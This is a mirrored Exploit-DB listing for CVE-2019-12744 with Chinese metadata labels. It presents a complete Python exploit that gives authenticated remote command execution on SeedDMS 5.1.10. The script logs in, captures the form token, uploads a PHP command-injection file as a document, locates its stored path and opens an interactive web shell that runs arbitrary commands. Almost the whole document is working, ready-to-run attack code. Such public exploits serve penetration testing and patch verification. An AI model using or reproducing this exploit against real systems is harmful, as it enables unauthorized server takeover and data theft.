Seeddms 5.1.10 – Remote Command Execution (RCE) (Authenticated)

  • 作者: Bryan Leong
    日期: 2021-06-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50062/
  • # Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) 
    # Date: 25/06/2021
    # Exploit Author: Bryan Leong <NobodyAtall>
    # Vendor Homepage: https://www.seeddms.org/index.php?id=2
    # Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/
    # Version: Seeddms 5.1.10
    # Tested on: Windows 7 x64
    # CVE: CVE-2019-12744
    
    import requests
    import argparse
    import sys
    import random
    import string
    from bs4 import BeautifulSoup
    from requests_toolbelt import MultipartEncoder
    
    def sysArgument():
    ap = argparse.ArgumentParser()
    
    ap.add_argument("-u", "--username", required=True, help="login username")
    ap.add_argument("-p", "--password", required=True, help="login password")
    ap.add_argument("--url", required=True, help="target URL Path")
    
    args = vars(ap.parse_args())
    
    return args['username'], args['password'], args['url'] 
    
    def login(sessionObj, username, password, url):
    loginPath = "/op/op.Login.php"
    url += loginPath
    
    postData = {
    'login': username,
    'pwd': password,
    'lang' : 'en_GB'
    }
    try:
    rsl = sessionObj.post(url, data=postData)
    
    if(rsl.status_code == 200):
    if "Error signing in. User ID or password incorrect." in rsl.text:
    print("[!] Incorrect Credential.")
    else:
    print("[*] Login Successful.") 
    print("[*] Session Token: " + sessionObj.cookies.get_dict()['mydms_session'])
    return sessionObj
    
    else:
    print("[!] Something went wrong.")
    print("Status Code: %d" % (rsl.status_code))
    sys.exit(0)
    except Exception as e:
    print("[!] Something Went Wrong!")
    print(e)
    sys.exit(0)
    
    return sessionObj
    
    def formTokenCapturing(sessionObj, url):
    path = "/out/out.AddDocument.php?folderid=1&showtree=1"
    url += path
    formToken = ""
    
    try:
    rsl = sessionObj.get(url)
    
    if(rsl.status_code == 200):
    print("[*] Captured Form Token.")
    
    #extracting form token
    soup = BeautifulSoup(rsl.text,'html.parser')
    form1 = soup.findAll("form", {"id": "form1"})
    
    soup = BeautifulSoup(str(form1[0]),'html.parser')
    formToken = soup.find("input", {"name": "formtoken"})
    print("[*] Form Token: " + formToken.attrs['value'])
    
    return sessionObj, formToken.attrs['value']
    else:
    print("[!] Something went wrong.")
    print("Status Code: %d" % (rsl.status_code))
    sys.exit(0)
    
    except Exception as e:
    print("[!] Something Went Wrong!")
    print(e)
    sys.exit(0)
    
    return sessionObj, formToken
    
    def uploadingPHP(sessionObj, url, formToken):
    path = "/op/op.AddDocument.php"
    url += path
    
    #generating random name
    letters = string.ascii_lowercase
    rand_name = ''.join(random.choice(letters) for i in range(20))
    
    #POST Data
    payload = {
    'formtoken' : formToken,
    'folderid' : '1',
    'showtree' : '1',
    'name' : rand_name,
    'comment' : '',
    'keywords' : '',
    'sequence' : '2',
    'presetexpdate' : 'never',
    'expdate' : '',
    'ownerid' : '1',
    'reqversion' : '1',
    'userfile[]' : (
    '%s.php' % (rand_name), 
    open('phpCmdInjection.php', 'rb'), 
    'application/x-httpd-php'
    ),
    'version_comment' : ''
    }
    
    multiPartEncodedData = MultipartEncoder(payload)
    
    try:
    rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type})
    
    if(rsl.status_code == 200):
    print("[*] Command Injection PHP Code Uploaded.")
    print("[*] Name in Document Content Shows: " + rand_name)
    
    return sessionObj, rand_name
    else:
    print("[!] Something went wrong.")
    print("Status Code: %d" % (rsl.status_code))
    sys.exit(0)
    
    
    except Exception as e:
    print("[!] Something Went Wrong!")
    print(e)
    sys.exit(0)
    
    return sessionObj, rand_name
    
    def getDocID(sessionObj, url, docName):
    path = "/out/out.ViewFolder.php?folderid=1"
    url += path
    
    try:
    rsl = sessionObj.get(url)
    
    if(rsl.status_code == 200):
    #searching & extracting document id storing payload
    soup = BeautifulSoup(rsl.text,'html.parser')
    viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"})
    
    soup = BeautifulSoup(str(viewFolderTables[0]),'html.parser')
    rowsDoc = soup.findAll("tr", {"class": "table-row-document"})
    
    for i in range(len(rowsDoc)):
    soup = BeautifulSoup(str(rowsDoc[i]),'html.parser')
    tdExtracted = soup.findAll("td") 
    
    foundDocName = tdExtracted[1].contents[0].contents[0]
    
    #when document name matched uploaded document name
    if(foundDocName == docName):
    print("[*] Found Payload Document Name. Extracting Document ID...")
    tmp = tdExtracted[1].contents[0].attrs['href'].split('?')
    docID = tmp[1].replace("&showtree=1", "").replace('documentid=', '')
    
    print("[*] Document ID: " + docID)
    
    return sessionObj, docID
    
    #after loops & still unable to find matched uploaded Document Name
    print("[!] Unable to find document ID.")
    sys.exit(0)
    
    else:
    print("[!] Something went wrong.")
    print("Status Code: %d" % (rsl.status_code))
    sys.exit(0)
    
    except Exception as e:
    print("[!] Something Went Wrong!")
    print(e)
    sys.exit(0)
    
    return sessionObj
    
    def shell(sessionObj, url, docID):
    #remove the directory /seeddms-5.1.x
    splitUrl = url.split('/')
    remLastDir = splitUrl[:-1]
    
    url = ""
    #recontruct url
    for text in remLastDir:
    url += text + "/"
    
    #path storing uploaded php code
    path = "/data/1048576/%s/1.php" % docID
    url += path
    
    #checking does the uploaded php exists?
    rsl = sessionObj.get(url)
    
    if(rsl.status_code == 200):
    print("[*] PHP Script Exist!")
    print("[*] Injecting some shell command.")
    
    #1st test injecting whoami command
    data = {
    'cmd' : 'whoami'
    }
    
    rsl = sessionObj.post(url, data=data)
    
    if(rsl.text != ""):
    print("[*] There's response from the PHP script!")
    print('[*] System Current User: ' + rsl.text.replace("<pre>", "").replace("</pre>", ""))
    
    print("[*] Spawning Shell. type .exit to exit the shell", end="\n\n")
    #start shell iteration
    while(True):
    cmd = input("[Seeddms Shell]$ ")
    
    if(cmd == ".exit"):
    print("[*] Exiting shell.")
    sys.exit(0)
    
    data = {
    'cmd' : cmd
    }
    
    rsl = sessionObj.post(url, data=data)
    print(rsl.text.replace("<pre>", "").replace("</pre>", ""))
    
    else:
    print("[!] No response from PHP script. Something went wrong.")
    sys.exit(0)
    
    else:
    print("[!] PHP Script Not Found!!")
    print(rsl.status_code)
    sys.exit(0)
    
    
    
    
    def main():
    username, password, url = sysArgument()
    
    sessionObj = requests.Session()
    
    #getting session token from logging in
    sessionObj = login(sessionObj, username, password, url)
    
    #capturing form token for adding document
    sessionObj, formToken = formTokenCapturing(sessionObj, url)
    
    #uploading php code for system command injection
    sessionObj, docName = uploadingPHP(sessionObj, url, formToken)
    
    #getting document id
    sessionObj, docID = getDocID(sessionObj, url, docName)
    
    #spawning shell to exec system Command
    shell(sessionObj, url, docID)
    
    if __name__ == "__main__":
    main()